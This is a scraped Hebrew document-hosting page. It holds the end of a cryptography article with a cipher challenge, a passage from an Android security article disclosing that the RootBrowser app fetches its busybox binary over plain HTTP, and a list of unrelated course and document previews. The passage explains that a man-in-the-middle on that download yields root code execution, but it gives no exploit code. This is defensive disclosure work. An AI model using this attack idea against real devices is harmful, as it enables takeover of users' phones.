CI JPX PCGE WCNR; MTN BT JPX NMER CI JPE IMJPXV GBWPJ MTN UTNXVRJMTNBTW MTN YBRNCL, GBHX JPX YBRNCL CI JPX WCNR, YMR ICUTN BT PBL; YPCL JPX HBTW TXFUAPMNTXOOMV JPE IMJPXV, JPX HBTW, B RME, JPE IMJPXV, LMNX LMRJXV CI JPX LMWBABMTR, MRJVCGCWXVR, APMGNXMTR, MTN RCCJPRMEXVR; ICVMRLUAP MR MT 51 קריפטוגרפיה - חלק א'

52 XZAXGGXTJ RQBVBJ, MTN HTCYGXNWX, MTN UTNXVRJMTNBTW, BTJXVQVXJBTW CI NVXMLR, MTN RPCYBTW CI PMVN RXTJXTAXR, MTN NBRRCGDBTW CI NCUFJR, YXVX ICUTN BT JPX RMLX NMTBXG, YPCL JPX HBTW TMLXN FXGJXRPMOOMV; TCY GXJ NMTBXG FX AMGGXN, MTN PX YBGG RPCY JPX BTJXVQVXJMJBCT. JPX IBVRJ ACNXYCVN BR CJPXGGC. בהצלחה! הראשון שיצליח, אדאג לציין את שמו בתור המנצח במאמר הבא בסדרת מאמרים זו. לסיכום דיברנו על הצפנה בסיסית, והתחלנו עם צופן הקיסר, דיברנו על איך הוא פועל והדגמנו על הפיצוח שלו. במאמר הבא נעסוק בצפנים קצת יותר מורכבים. על המחבר שמי אופיר בק, בן 16 מפתח תקווה. אני לומד בתכנית גבהים של מטה הסייבר הצה"לי וב- C-security, לאחר שסיימתי את לימודי המתמטיקה והאנגלית בכיתה י'. קשה למצוא חומר מעודכן בעברית, ולאחר ש- DigitalWhisper היווה עבורי מקור מידע נגיש, רציתי לתרום חזרה. ניתן ליצור איתי קשר בכתובת האימייל קישורים לקריאה נוספת תדירות אותיות: צופן קיסר: 52 קריפטוגרפיה - חלק א'

53 - חלק II משטחי תקיפה באפליקציות Android מאת x3d b הקדמה בפרק הקודם דיברנו על מודל האבטחה של אנדרואיד )ממש בשתי מילים(, והצגנו כיצד אפליקציות מסויימות עלולות לסמוך על SMS בלי לוודא האם התוכן שלו אותנטי. במאמר זה נמשיך ונציג כיצד - RootBrowser אפליקציה - rooted סומכת על HTTP כדי לבצע פעולות עדכון מסוכנות. בפרק הקודם בפרק הקודם דיברנו על מודל האבטחה של אנדרואיד )ממש בשתי מילים(, והצגנו כיצד אפליקציות מסויימות עלולות לסמוך על SMS בלי לוודא האם התוכן שלו אותנטי. במאמר זה נמשיך ונציג כיצד - RootBrowser אפליקציה - rooted סומכת על HTTP כדי לבצע פעולות עדכון מסוכנות. השתלשלות האירועים גילוי הנקודות )שתוצגנה בהמשך( ב- RootBrowser. - פנייה אל מפתחי האפליקציה. התגובה הייתה שכרגע עובדים על גרסא חדשה שתפתור את הבעיות הנוכחיות, אך אין צפי לזמן הוצאת הגרסא החדשה. - פנייה נוספת אל מפתחי האפליקציה במטרה לקבל מידע על התקדמות פתרון הבעיה, אך ללא תגובה פנייה שלישית אל מפתחי האפליקציה, גם ללא תגובה פרסום disclosure(.)public עדכונים באנדרואיד אנדרואיד מספקת ממשק נוח מאד לעדכן אפליקציות. לכל אפליקציה יש גרסא שמופיעה בקובץ ה- Google שלה, וניתן לעדכן גרסאות על ידי הפצה מחדש של האפליקציה מעל ה- AndroidManifest.xml.Play store עקרונית, כל עוד ה- certificate שחתום על האפליקציה זהה, ניתן לבצע עדכון של האפליקציה. החסרון במנגנון זה הוא שלעיתים אפליקציות לא מופצות דרך ה- store,play אלא ב- store םי- אלטרנטיביים או אפילו כקבצי.APK במקרה זה, מפתחי האפליקציה צריכים לחשוב בעצמם על מנגנון 53 משטחי תקיפה באפליקציות - Android חלקII

54 עדכון, ולעיתים קרובות מנגנון זה יכול להיות בעייתי מאד. בסוף המאמר נציג מספר כללי ברזל לקוד לעדכון אפליקציה ידני שכזה. אפליקציות rooted בפעם הקודמת הזכרנו את מנגנון ההרשאות של אנדרואיד, שבחלקו הגדול מתבסס על יצירת user םי- חדשים עבור כל אפליקציה חדשה. במערכת אנדרואיד )ובכלל במערכות דמויות לינוקס(, המשתמש החזק ביותר הוא root )עם.)ID= משתמש זה יכול לבצע כמעט כל דבר:.ptrace דיבוג באמצעות.mount ביצוע ו- chmod. chown ביצוע התעלמות מ- DAC -ים על קבצים. עם זאת, לשם השלמות נציין כי בגרסאות אנדרואיד מתקדמות ישנו מנגנון נוסף בשם SEAndroid )שהוא למעשה התאמה של SE-linux לאנדרואיד( שאליו כפופים כל המשתמשים - גם.root עם זאת, בחלק גדול של ה- Vendor -ים ניתן לכבות אותו )על ידי )setenforce או לחילופין לטעון kernel module שמנוון את המנגנון. כאשר אומרים שטלפון הוא "rooted" הכוונה היא בדרך כלל לכך שניתן להריץ פקודות על ידי פנייה לבינארי בשם.su בעבר, su זה היה קובץ בינארי רגיל עם דגל setuid דלוק ו- owner,root כך שהרצה שלו תמיד רצה כ- root. מערכות אנדרואיד חדשות לא מכבדות כבר את,setuid ולכן su הוא בדרך כלל בינארי רגיל שמבצע תקשורת מול רכיב בשם,sudaemon שעשה forking מתוך init בשלב מאד מוקדם בעליית המערכת. המסקנה החשובה היא ש- rooting נותן כח גדול בידי המשתמש - אפליקציות רגילות יכולות לקרוא ל- API שמאפשר ביצוע פעולות בהרשאות גבוהות. לצערנו, with great power comes great responsibility ולכן מפתחי אפליקציות rooted מחוייבים )במובן מסויים( לסטנדרטים גבוהים יותר )לפי דעתי האישית(. מבט שטחי על RootBrowser אז, RootBrowser היא אפליקציה rooted שמכוונת לביצוע פעולות עם הרשאות גבוהות על מערכת הקבצים. למשל, אפשר לבצע remounting ל- partition system כך שאפשר יהיה לכתוב עליה )כך ניתן לשלוט באפליקציות,system למשל(, אפשר לבצע chown ו- chmod על קבצים כרצוננו וכדומה. 54 משטחי תקיפה באפליקציות - Android חלקII

55 האפליקציה עצמה די פופולרית: מתחת לפני השטח, RootBrowser משתמשת ב-"ארגז כלים" מיוחד שמכיל פקודות shell נפוצות. מכיוון שלמערכת אנדרואיד יש shell מאד בסיסי, RootBrowser מעוניין בארגז כלים שכזה לביצוע פעולות מחוכמות יותר - ארגז כלים זה נקרא גם.busybox למי שלא מכיר - busybox הוא בינארי יחיד שמכיל בתוכו מימושים שונים לכלי shell )כגון zip או אפילו.)ls כל אחד יכול לקמפל לעצמו busybox כרצונו. באופן מסורתי שמים בדרך כלל link -ים של הפקודות לתוך 55 משטחי תקיפה באפליקציות - Android חלקII

56 .busybox כך למשל, zip מצביע אל,busybox ו- busybox יודע לבצע את הפעולה האחרונה. ניתן להוריד ולשחק עם busybox באתר. באופן מסורתי, כאשר אפליקציות מעוניינות לכלול קבצים בינאריים "בתוך הבטן", הן מחזיקות את הקבצים הללו בתור.Assets תחת אנדרואיד, Assets ו- Resources דומים מאד, מלבד כך שניתן לפנות אל Resources על ידי ID מיוחד שמגונרץ לתוך מחלקה בשם R, בעוד שלא ניתן לעשות דבר דומה עם.Assets ה- Assets עצמם נשמרים תחת תיקייה בשם,Assets שנמצאת תחת ה- sandbox של האפליקציה, ולכן "מוגנים" מהעולם החיצון. לצערי, מפתחי RootBrowser החליטו שהם מעוניינים לכתוב גרסת עדכון מרחוק ל- BusyBox שלהם )והם אכן קימפלו אחד custom של עצמם( - ועדכון זה נעשה מעל.HTTP להלן קטע הקוד הרלוונטי: הקוד מקבל שם של,asset בודק אם הוא כבר ירד, ואם לא אז מוריד אותו משרת http רגיל.)jrummy16.com( כמובן שביצוע HTTP MitM רגיל )עם mitmproxy למשל( נותן לתוקף שליטה מלאה על ה- busybox שיורד. מכיוון שהאפליקציה כבר,rooted ניתן למעשה להגיד שהעבודה כמעט הסתיימה - MitM HTTP לתוקף RCE מספיק privileged כדי לגרום לנזק עצום למערכת )ולמעשה רץ תחת.)root נותן 56 משטחי תקיפה באפליקציות - Android חלקII

7 קרפ תויגול,תויטמתירא תודוקפ הזזהו

7 קרפ תויגול,תויטמתירא תודוקפ הזזהו פרק 7 פקודות אריתמטיות, לוגיות והזזה ברק גונן 1 תוכן הפרק פקודות אריתמטיות ADD, INC SUB, DEC MUL DIV פקודות לוגיות AND OR XOR NOT פקודות הזזה SHL SHR ברק גונן 2 פקודת ADD מחברת את אופרנד המקור עם אופרנד

More information

ASP.Net MVC + Entity Framework Code First.

ASP.Net MVC + Entity Framework Code First. ASP.Net MVC + Entity Framework Code First 1 הקדמה בפרק הזה יוצג שימוש בFirst EntityFramework Code עבור ה use case הבאים : ASP.Net MVC ASP.Net Web API ASP.Net MVC + Scaffolding הערה : Framework Entity הוצג

More information

תצוגת LCD חיבור התצוגה לבקר. (Liquid Crystal Display) המערכת.

תצוגת LCD חיבור התצוגה לבקר. (Liquid Crystal Display) המערכת. 1 (Liquid Crystal Display) תצוגת LCD בפרויקט ישנה אפשרות לראות את כל הנתונים על גבי תצוגת ה- LCD באופן ברור ונוח. תצוגה זו היא בעלת 2 שורות של מידע בעלות 16 תווים כל אחת. המשתמש יכול לראות על גבי ה- LCD

More information

Rules Game (through lesson 30) by Nancy Decker Preparation: 1. Each rule board is immediately followed by at least three cards containing examples of

Rules Game (through lesson 30) by Nancy Decker Preparation: 1. Each rule board is immediately followed by at least three cards containing examples of Rules Game (through lesson 30) by Nancy Decker Preparation: 1. Each rule board is immediately followed by at least three cards containing examples of the rule. (Choose three cards appropriate to the lesson

More information

Patents Basics. Yehuda Binder. (For copies contact:

Patents Basics. Yehuda Binder. (For copies contact: Patents Basics Yehuda Binder (For copies contact: elissa@openu.ac.il) 1 Intellectual Property Value 2 Intellectual Property Rights Trademarks Copyrights Trade Secrets Patents 3 Trademarks Identify a source

More information

A R E Y O U R E A L L Y A W A K E?

A R E Y O U R E A L L Y A W A K E? A R E Y O U R E A L L Y A W A K E? ב ר ו ך א ת ה י י א לה ינ ו מ ל ך ה עו ל ם, ה מ ע ב יר ש נ ה מ ע ינ י ות נ ומ ה מ ע פ ע פ י Blessed are You, Hashem our God, King of the Universe, who removes sleep from

More information

טכנולוגיית WPF מספקת למפתחים מודל תכנות מאוחד לחוויית בניית יישומיי

טכנולוגיית WPF מספקת למפתחים מודל תכנות מאוחד לחוויית בניית יישומיי WPF-Windows Presentation Foundation Windows WPF טכנולוגיית WPF מספקת למפתחים מודל תכנות מאוחד לחוויית בניית יישומיי Client חכמים המשלב ממשקי משתמש,תקשורת ומסמכים. מטרת התרגיל : ביצוע אנימציה לאליפסה ברגע

More information

ניפוי שגיאות )Debug( מאת ישראל אברמוביץ

ניפוי שגיאות )Debug( מאת ישראל אברמוביץ ניפוי שגיאות )Debug( מאת ישראל אברמוביץ בדף העבודה יש תירגול בסביבת העבודה לשפת #C לסביבות עבודה אחרות. )2015 )Visual Studio אך היא מתאימה גם לשפת Java וגם o 1. ריצה של כל התוכנית ועצירה בסוף יש לבחור

More information

המחלקה למדעי המחשב, אוניברסיטת בן גוריון מבני נתונים, סמסטר אביב 2102 עבודת בית מספר - 2 מעשית

המחלקה למדעי המחשב, אוניברסיטת בן גוריון מבני נתונים, סמסטר אביב 2102 עבודת בית מספר - 2 מעשית המחלקה למדעי המחשב, אוניברסיטת בן גוריון מבני נתונים, סמסטר אביב 2102 עבודת בית מספר - 2 מעשית נושאים: מערכים, רשימות מרצה ומתרגלים אחראים: איתן בכמט, איסנה וקסלר, רז ניסים תאריך פרסום: 11.21 תאריך הגשה:

More information

המבנה הגאומטרי של מידה

המבנה הגאומטרי של מידה התוכנה מאפשרת לרשום מידות מסוגים שונים בסרטוט, במגוון סגנונות ובהתאם לתקנים המקובלים. רצוי לבצע מתן מידות בשכבה המיועדת לכך. לכל מידה יש תכונות של בלוק. תהליך מתן המידות מתחיל תמיד מקביעת סגנון המידות.

More information

מבוא לתכנות ב- JAVA תרגול 7

מבוא לתכנות ב- JAVA תרגול 7 מבוא לתכנות ב- JAVA תרגול 7 שאלה )מועד א 2013( לפניך מספר הגדרות: תת מילה של המילה word הינה רצף של אותיות עוקבות של word פלינדרום באורך le היא מילה בעלת le אותיות שניתן לקרוא אותה משמאל לימין וגם מימין

More information

מבוא לאסמבלי מאת אופיר בק חלקים נרחבים ממאמר זה נכתבו בהשראת הספר "ארגון המחשב ושפת סף" אשר נכתב ע"י ברק גונן לתוכנית גבהים של משרד החינוך.

מבוא לאסמבלי מאת אופיר בק חלקים נרחבים ממאמר זה נכתבו בהשראת הספר ארגון המחשב ושפת סף אשר נכתב עי ברק גונן לתוכנית גבהים של משרד החינוך. מאת אופיר בק חלקים נרחבים ממאמר זה נכתבו בהשראת הספר "ארגון המחשב ושפת סף" אשר נכתב ע"י ברק גונן לתוכנית גבהים של משרד החינוך. הקדמה בסדרת המאמרים הקרובה, אנחנו הולכים ללמוד על השפה אסמבלי, על השימוש בה

More information

FILED: NEW YORK COUNTY CLERK 07/16/2014 INDEX NO /2014 NYSCEF DOC. NO. 134 RECEIVED NYSCEF: 07/16/2014 EXHIBIT 37

FILED: NEW YORK COUNTY CLERK 07/16/2014 INDEX NO /2014 NYSCEF DOC. NO. 134 RECEIVED NYSCEF: 07/16/2014 EXHIBIT 37 FILED: NEW YORK COUNTY CLERK 07/16/2014 INDEX NO. 652082/2014 NYSCEF DOC. NO. 134 RECEIVED NYSCEF: 07/16/2014 EXHIBIT 37 Translated from the Hebrew Sharf Translations Message sent From: Tomer Shohat

More information

THINKING ABOUT REST THE ORIGIN OF SHABBOS

THINKING ABOUT REST THE ORIGIN OF SHABBOS Exploring SHABBOS SHABBOS REST AND RETURN Shabbos has a multitude of components which provide meaning and purpose to our lives. We will try to figure out the goal of Shabbos, how to connect to it, and

More information

קשירות.s,t V שני צמתים,G=(V,E) קלט: גרף מכוון מ- s t ל- t ; אחרת.0 אם יש מסלול מכוון פלט: הערה: הגרף נתון בייצוג של רשימות סמיכות.

קשירות.s,t V שני צמתים,G=(V,E) קלט: גרף מכוון מ- s t ל- t ; אחרת.0 אם יש מסלול מכוון פלט: הערה: הגרף נתון בייצוג של רשימות סמיכות. סריקה לרוחב פרק 3 ב- Kleinberg/Tardos קשירות.s,t V שני צמתים,G=(V,E) קלט: גרף מכוון מ- s t ל- t ; אחרת.0 אם יש מסלול מכוון פלט: הערה: הגרף נתון בייצוג של רשימות סמיכות. קשירות.s,t V שני צמתים,G=(V,E) קלט:

More information

Reflection Session: Sustainability and Me

Reflection Session: Sustainability and Me Goals: Participants will: identify needs in their home communities apply their sustainability learning to the conditions of their home communities design a sustainable project idea and evaluate the ideas

More information

A Long Line for a Shorter Wait at the Supermarket

A Long Line for a Shorter Wait at the Supermarket A Long Line for a Shorter Wait at the Supermarket - New York Times Page 1 of 4 A Long Line for a Shorter Wait at the Supermarket Sam Baris directing customers at Whole Foods in Columbus Circle, where the

More information

מבוא למחשב בשפת פייתון

מבוא למחשב בשפת פייתון 234221 מבוא למחשב בשפת פייתון 3 מבני בקרה ולולאות פרופ' ראובן בר-יהודה דין לייטרסדורף הפקולטה למדעי המחשב הטכניון מכון טכנולוגי לישראל נערך ע"י יעל ארז 1 פקודות והזחות 2 פקודה פשוטה >>> 3+2 5 >>> x = 5

More information

Practical Session No. 13 Amortized Analysis, Union/Find

Practical Session No. 13 Amortized Analysis, Union/Find Practical Session No. 13 Amortized Analysis, Union/Find Amortized Analysis Refers to finding the average running time per operation, over a worst-case sequence of operations. Amortized analysis differs

More information

מבוא לתכנות - פיתוח משחקים ב Action Script 3.0

מבוא לתכנות - פיתוח משחקים ב Action Script 3.0 מבוא לתכנות - פיתוח משחקים ב Action Script 3.0 כל מה שמעצב משחקים צריך לדעת בשביל לעבוד עם מתכנתים משחק בול פגיעה שעור 2 1P 0 AS3 2P 0 HIGH SCORE RANK SCORE NAME CREDIT 15 1ST 00045000 I.M 2ND 00039500

More information

מדריך לניהול VPS טריפל סי מחשוב ענן בע"מ.

מדריך לניהול VPS טריפל סי מחשוב ענן בעמ. מדריך לניהול VPS עמוד מספר 1 ניהול VPS Parallels Virtuozzo מכונות וירטואליות מבוססות טכנולוגיית VPS (Virtual Private Server).Containers למעט מספר מגבלות טכניות, ניתן לבצע במכונות אלו כל אשר ניתן לבצע בשרתים

More information

עץ תורשה מוגדר כך:שורש או שורש ושני בנים שכל אחד מהם עץ תורשה,כך שערך השורש גדול או שווה לסכום הנכדים(נכד-הוא רק בן של בן) נתון העץ הבא:

עץ תורשה מוגדר כך:שורש או שורש ושני בנים שכל אחד מהם עץ תורשה,כך שערך השורש גדול או שווה לסכום הנכדים(נכד-הוא רק בן של בן) נתון העץ הבא: שאלה 1 עץ תורשה מוגדר כך:שורש או שורש ושני בנים שכל אחד מהם עץ תורשה,כך שערך השורש גדול או שווה לסכום הנכדים(נכד-הוא רק בן של בן) נתון העץ הבא: 99 80 50 15 40 34 30 22 10 13 20 13 9 8 א. ב. ג. האם העץ

More information

לאחר מכן נוכל לכתוב תוכניות שכוללות אלגוריתמים

לאחר מכן נוכל לכתוב תוכניות שכוללות אלגוריתמים 1 ברק גונן נלמד את הפקודות הבסיסיות של אסמבלי הגדרת משתנים ופקודת העתקה )מצגת 6( פקודות אריתמטיות, לוגיות, הזזה )מצגת 7( פקודות השוואה, קפיצה ולולאות )מצגת 8( בחלקים: לאחר מכן נוכל לכתוב תוכניות שכוללות

More information

DNS פרק 4 ג' ברק גונן מבוסס על ספר הלימוד "רשתות מחשבים" עומר רוזנבוים 1

DNS פרק 4 ג' ברק גונן מבוסס על ספר הלימוד רשתות מחשבים עומר רוזנבוים 1 DNS פרק 4 ג' שכבת האפליקציה, פרוטוקול ברק גונן מבוסס על ספר הלימוד "רשתות מחשבים" עומר רוזנבוים מאת 1 בסיום הפרק נדע: מה תפקיד פרוטוקול?DNS לשם מה צריך?DNS מהי ההיררכיה של כתובות דפי האינטרנט? מהו,TLD

More information

Hebrew Ulpan HEB Young Judaea Year Course in Israel American Jewish University College Initiative

Hebrew Ulpan HEB Young Judaea Year Course in Israel American Jewish University College Initiative Hebrew Ulpan HEB 011-031 Young Judaea Year Course in Israel American Jewish University College Initiative Course Description Hebrew is not only the Sacred Language of the Jewish people, but it is also

More information

מדריך לתכנת הגימפ Gimp) (The חלק מהמידע במדריך זה מובא מהקישור- http://www.jlc.org.il/forums/viewtopic.php?p=900&sid=d801ea3d13f7ae97549e28a56a4ce0cb GIMP היאתכנה חופשיתרבתאפשרויותבתחום הגראפיקהועריכתהתמונות,

More information

NTFS ADS Magic Tricks

NTFS ADS Magic Tricks מאת: אפיק קסטיאל )cp77fk4r( הקדמה את המאמר הזה החלטתי לכתוב לאחר פגישה מקרית עם התולעת הישנה,"W2K.Stream" שפגעה במערכות.Windows 2000 בזמנו לא שמעתי עליה, אבל לאחרונה, לאחר שיחה מעניינת עם בחור מעניין יצא

More information

הקדמה בדיקת תמיכה ב- SSL מאת עידו קנר

הקדמה בדיקת תמיכה ב- SSL מאת עידו קנר עבודה עם Wireshark מאת עידו קנר - חלק שני הקדמה זהו החלק השני בסדרת מאמרים אשר נועדה לתת דגשים לכלי.Wireshark רבים רואים את Wireshark ככלי המאפשר להאזין )להסניף( את התעבורה ברשת, אך זו אינה בהכרח החוזקה

More information

עד כה עסקנו בתוכניות שמתקדמות פקודה אחרי פקודה העתק ל- ax את הערך 3 העתק ל- bx את הערך 4 הוסף ל- ax את bx כפול את התוצאה ב- 2 והעתק ל- cx

עד כה עסקנו בתוכניות שמתקדמות פקודה אחרי פקודה העתק ל- ax את הערך 3 העתק ל- bx את הערך 4 הוסף ל- ax את bx כפול את התוצאה ב- 2 והעתק ל- cx 1 ברק גונן עד כה עסקנו בתוכניות שמתקדמות פקודה אחרי פקודה העתק ל- ax את הערך 3 העתק ל- bx את הערך 4 הוסף ל- ax את bx כפול את התוצאה ב- 2 והעתק ל- cx לעיתים נרצה שהתוכנית תבצע פקודות רק אם מתקיים תנאי מוגדר

More information

שאלות חזרה לקראת מבחן מפמ"ר אינטרנט וסייבר

שאלות חזרה לקראת מבחן מפמר אינטרנט וסייבר שאלות חזרה לקראת מבחן מפמ"ר אינטרנט וסייבר שאלה.1 ייצוג מידע בטבלה שלפניכם מספרים בבסיס. כל מספר מיוצג ע"י 5 סיביות. 10011 = 01100 = 00111 = 11000 = 11010 = 00101 = 10000 = 01111 = ד. יש להשלים את הערך

More information

זו מערכת ישרת זוית )קרטזית( אשר בה יש לנו 2 צירים מאונכים זה לזה. באותו מישור ניתן להגדיר נקודה על ידי זוית ורדיוס וקטור

זו מערכת ישרת זוית )קרטזית( אשר בה יש לנו 2 צירים מאונכים זה לזה. באותו מישור ניתן להגדיר נקודה על ידי זוית ורדיוס וקטור קארדינטת קטבית y p p p במישר,y הגדרנ נקדה על ידי המרחקים מהצירים. ז מערכת ישרת זית )קרטזית( אשר בה יש לנ צירים מאנכים זה לזה. באת מישר ניתן להגדיר נקדה על ידי זית רדיס קטר. (, ) הרדיס קטר מסתבב )נגד כין

More information

חטיבת המינרלים החיוניים תתמקד בשוקי האגרו וחטיבת הפתרונות המיוחדים תשמש כחטיבה התעשייתית; כיל דשנים מיוחדים תשולב בחטיבת המינרלים החיוניים;

חטיבת המינרלים החיוניים תתמקד בשוקי האגרו וחטיבת הפתרונות המיוחדים תשמש כחטיבה התעשייתית; כיל דשנים מיוחדים תשולב בחטיבת המינרלים החיוניים; 12 באפריל 2017 כיל מעדכנת את המבנה הארגוני של החברה חטיבת המינרלים החיוניים תתמקד בשוקי האגרו וחטיבת הפתרונות המיוחדים תשמש כחטיבה התעשייתית; כיל דשנים מיוחדים תשולב בחטיבת המינרלים החיוניים; הנהלת כיל

More information

A JEW WALKS INTO A BAR: JEWISH IDENTITY IN NOT SUCH JEWISH PLACES

A JEW WALKS INTO A BAR: JEWISH IDENTITY IN NOT SUCH JEWISH PLACES A JEW WALKS INTO A BAR: JEWISH IDENTITY IN NOT SUCH JEWISH PLACES Sinning in Disguise Like people of all faiths, Jews sometimes do things or go to places they are not supposed to. This session is not about

More information

חוק זכויות הסוכן חוק חוזה סוכנות )סוכן מסחרי וספק(

חוק זכויות הסוכן חוק חוזה סוכנות )סוכן מסחרי וספק( חוק זכויות הסוכן חוק חוזה סוכנות )סוכן מסחרי וספק( התשע"ב - 2012 חברות וחברי לשכה יקרים, אני שמח להגיש לכם חוברת זו בה תמצאו את חוק זכויות הסוכן בנוסחו המקורי ואת תרגומו לאנגלית על ידי עו"ד שוש רבינוביץ,

More information

תרגול 8. Hash Tables

תרגול 8. Hash Tables תרגול Hash Tables ds-ps חידה מהשיעור הקודם בכל השקים המטבעות שוקלים ורק בשק אחד המטבעות שוקלים.. מותר לנו לבצע שקילה אחת בלבד! איך נדע מה השק הקל יותר? שקים עם מטבעות ds-ps מה היה לנו דיברנו על מבני נתונים

More information

תוצאות סקר שימוש בטלפון

תוצאות סקר שימוש בטלפון מכון שריד שירותי מחקר והדרכה בע"מ Sarid Institute for Research and Consultation LTD תוצאות סקר שימוש בטלפון חכם בקרב ילדים מבוסס על פאנל "סמול טוק" פאנל ילדים ינואר 2015 מכון שריד מתמחה במתן פתרונות יישומיים

More information

זה. Nir Adar

זה. Nir Adar גירסה 28.4.2003-1.00 האסמבלי של 8086 חלק שני מסמך זה הורד מהאתר. אין להפיץ מסמך זה במדיה כלשהי, ללא אישור מפורש מאת המחבר. מחבר המסמך איננו אחראי לכל נזק, ישיר או עקיף, שיגרם עקב השימוש במידע המופיע במסמך,

More information

Name Page 1 of 6. דף ט: This week s bechina starts at the two dots in the middle of

Name Page 1 of 6. דף ט: This week s bechina starts at the two dots in the middle of Name Page 1 of 6 ***Place an X if Closed גמרא (if no indication, we ll assume Open חזרה (גמרא of the :דף times.בל 'נ marked, using the contact info above by Sunday, December 25, 2016 and we ll send it

More information

ANNEXURE "E1-1" FORM OF IRREVOCABLE STANDBY LETTER OF CREDIT PERFORMANCE OF CONTRACT (WHERE PRICES ARE NOT LINKED TO AN ESCALATION FORMULA)

ANNEXURE E1-1 FORM OF IRREVOCABLE STANDBY LETTER OF CREDIT PERFORMANCE OF CONTRACT (WHERE PRICES ARE NOT LINKED TO AN ESCALATION FORMULA) ANNEXURE "E1-1" FORM OF IRREVOCABLE STANDBY LETTER OF CREDIT PERFORMANCE OF CONTRACT (WHERE PRICES ARE NOT LINKED TO AN ESCALATION FORMULA) Dear Sirs, Re: Standby Letter of Credit No: Please advise the

More information

מבוא לתכנות - פיתוח משחקים ב Action Script 3.0

מבוא לתכנות - פיתוח משחקים ב Action Script 3.0 מבוא לתכנות - פיתוח משחקים ב Action Script 3.0 כל מה שמעצב משחקים צריך לדעת בשביל לעבוד עם מתכנתים משחק טקסט שעור 3 1P 0 AS3 2P 0 HIGH SCORE RANK SCORE NAME CREDI 15 1S 00079000 G. 2ND 00079000 S.G 3RD

More information

מדריך למשתמש התקנה עצמית

מדריך למשתמש התקנה עצמית 256 מדריך למשתמש התקנה עצמית תכולת הערכה 1 1 מחבר חשמלי 1 כבל,DSL עבור חיבור לשקע DSL 1 כבל רשת שקע עבור חיבור עבור למחשב חיבור למחש 1 נתב 2 שלב א' חיבור לחשמל וחיווי נוריות חיבור לחשמל חבר את כבל החשמל

More information

Genetic Tests for Partners of CF patients

Genetic Tests for Partners of CF patients Disclaimer: this presentation is not a genetic/medical counseling The Annual Israeli CF Society Meeting Oct 2013 Genetic Tests for Partners of CF patients Ori Inbar, PhD A father to a 8 year old boy with

More information

מושגים בסיסיים תלמידים והורים יקרים,

מושגים בסיסיים תלמידים והורים יקרים, אחוזים מושגים בסיסיים תלמידים והורים יקרים, לפניכם קובץ ובו מושגים בסיסיים בשאלות אחוזים. הקובץ מכיל 12 מושגים. רצוי לעבור על חומר הלימוד לפני המעבר על המבחנים. ניתן להדפיס קובץ זה כדי שיהיה לפני התלמיד/ה

More information

FILED: NEW YORK COUNTY CLERK 07/16/2014 INDEX NO /2014 NYSCEF DOC. NO. 102 RECEIVED NYSCEF: 07/16/2014 EXHIBIT 5

FILED: NEW YORK COUNTY CLERK 07/16/2014 INDEX NO /2014 NYSCEF DOC. NO. 102 RECEIVED NYSCEF: 07/16/2014 EXHIBIT 5 FILED: NEW YORK COUNTY CLERK 07/16/2014 INDEX NO. 652082/2014 NYSCEF DOC. NO. 102 RECEIVED NYSCEF: 07/16/2014 EXHIBIT 5 McLaughlin, Terence K. From: Sent: To: Cc: Subject: Follow Up Flag: Flag Status:

More information

תכנות בטוח חלק ב ' מאת עידו קנר

תכנות בטוח חלק ב ' מאת עידו קנר תכנות בטוח חלק ב' מאת עידו קנר הקדמה מאמר זה הינו חלק ההמשך של המאמר העוסק בנושא "התכנות הבטוח" אשר פורסם בגליון השביעי של.Digital Whisper בחלק הקודם הצגתי מקרים מאוד פשוטים וברורים אודות כמה מגישות בתכנות

More information

FULL ARTICLE ACTIVE DIRECTORY

FULL ARTICLE ACTIVE DIRECTORY FULL ARTICLE ACTIVE DIRECTORY מאמר זה מכיל מידע חיוני על Active Directory דינאמי ולהתעדכן בכל תקופת זמן., המאמר ימשיך להיות אני ממליץ להדפיס את המאמר כדי שתוכלו ללמוד ולתרגל בעצמכם. Meir Peleg WWW.PELEGIT.CO.IL

More information

פרצות אבטחה נפוצות בהעלאת קבצים בעזרת PHP

פרצות אבטחה נפוצות בהעלאת קבצים בעזרת PHP פרצות אבטחה נפוצות בהעלאת קבצים בעזרת PHP מאת Hyp3rInj3cT10n העלאת קבצים ושיתופם הוא עניין שהפך לנפוץ מאוד בימינו: לא פעם ולא פעמיים אנחנו נתקלים במצבים שבהם אנו צריכים ו/או רוצים לשתף קבצים - בין אם מדובר

More information

Computer Structure. Exercise #1 יש להגיש את התשובות הסופיות על גבי טופס זה.

Computer Structure. Exercise #1 יש להגיש את התשובות הסופיות על גבי טופס זה. שם: ת.ז: ציון: Computer Structure Exercise #1 יש להגיש את התשובות הסופיות על גבי טופס זה. שאלה 1 appleממש מערכת אשר קולטת בכל מחזור שעון ביט קלט בודדX. כדי להגדיר את הפלט של המערכת במחזור השעון הappleוכחי

More information

Visual C# Express Edition 2005

Visual C# Express Edition 2005 1 הכרות עם Visual C# Express Edition 2005 C# מדריך מצולם להתקנה ועבודה ראשונית עם Express ארז קלר www.coner.co.il 2 C# Express מייקרוסופט פיתחה סדרת כלי פיתוח חינמיים עבור סטודנטים,תלמידים ומפתחים חובבים.

More information

/ פתיחת החשבון הכרחית רק למרצה / מתרגל ונעשית רק בעת הכניסה הראשונה.

/  פתיחת החשבון הכרחית רק למרצה / מתרגל ונעשית רק בעת הכניסה הראשונה. כניסת מרצה כניסת סטודנטים /https://b.socrative.com/login/student /https://b.socrative.com/login/teacher שלב הרישום פתיחת החשבון הכרחית רק למרצה / מתרגל ונעשית רק בעת הכניסה הראשונה. https://b.socrative.com/login/teacher/#register-free/info

More information

Mage lvl 90 - The Magento RCE

Mage lvl 90 - The Magento RCE מאת נתנאל רובין הקדמה אני לא בטוח מי חשב שזה רעיון טוב לערבב את PHP עם כרטיסי אשראי, אבל אין ספק שהוא עשה לכלל חוקרי האבטחה שירות גדול. כידוע PHP היא אחת השפות הכי לא קונסיסטנטיות שיש. אם שפות תכנות נותנות

More information

Summing up. Big Question: What next for me on my Israel Journey?

Summing up. Big Question: What next for me on my Israel Journey? Summing up Goals: To facilitate feedback and debrief of the learning period To clarify and fix the Four Hatikvah Questions as the ongoing framework for approaching Israel To begin to concentrate participants

More information

מדריך שימוש והתקנה של office

מדריך שימוש והתקנה של office מדריך שימוש והתקנה של office הכרת השירות לסטודנט -מדריך ההתקנה למחשבי mac -מדריך שימוש ב- OneDrive כניסה לשירות office בחינם: על מנת להיכנס ולהתקין את השירות החדש המוצע על ידי המסלול יש להתחבר לאתר המכללה

More information

Apple, keys, pen, pencils, pencilbox,(toy)elephant,( toy) boy, (toy) girl, ball

